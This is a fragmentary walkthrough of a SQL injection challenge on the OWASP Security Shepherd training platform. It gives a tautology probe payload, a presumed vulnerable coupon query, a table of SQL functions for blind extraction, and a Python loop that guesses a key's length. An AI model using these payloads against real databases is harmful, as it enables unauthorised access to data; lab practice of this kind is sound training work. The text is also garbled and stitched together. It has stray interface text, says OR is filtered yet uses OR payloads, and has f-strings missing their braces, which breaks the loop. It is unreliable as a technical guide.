We need to:

Navigate to the interface inside OWASP Security Shepherd . Submit a benign test value to establish baseline behavior. Next, inject a probe payload to test the escaping routine: \' OR 1=1; -- Use code with caution. Step 2: Analyze the Database Query Construction

: The application likely uses a basic SQL query to verify coupons, such as: SELECT coupon_code FROM coupons WHERE coupon_code = 'User_Input';

If the input is not parameterized, an attacker can intentionally supply characters like the single quote ( ' ) to break the string boundaries and append an arbitrary logical condition.

| Function | Purpose | Example | | :--- | :--- | :--- | | SUBSTRING(string, start, length) | Extract part of a string | SUBSTRING('abc',1,1) = 'a' | | ASCII(character) | Get ASCII value of char | ASCII('A') = 65 | | LENGTH(string) | Get length of string | LENGTH('hash') = 4 | | BINARY | Force case-sensitive compare | BINARY 'A' = 'a' (false) |

: SELECT coupon_code FROM coupons WHERE coupon_code = "" OR 1=1;

Observing that -- is not filtered in this challenge, but OR / AND are. We need a tautology without those words.

for length in range(1, 100): payload = f"(SELECT LENGTH(column_name) FROM table_name WHERE row_condition) = length" if test_payload(payload): print(f"[+] Key length: length") key_length = length break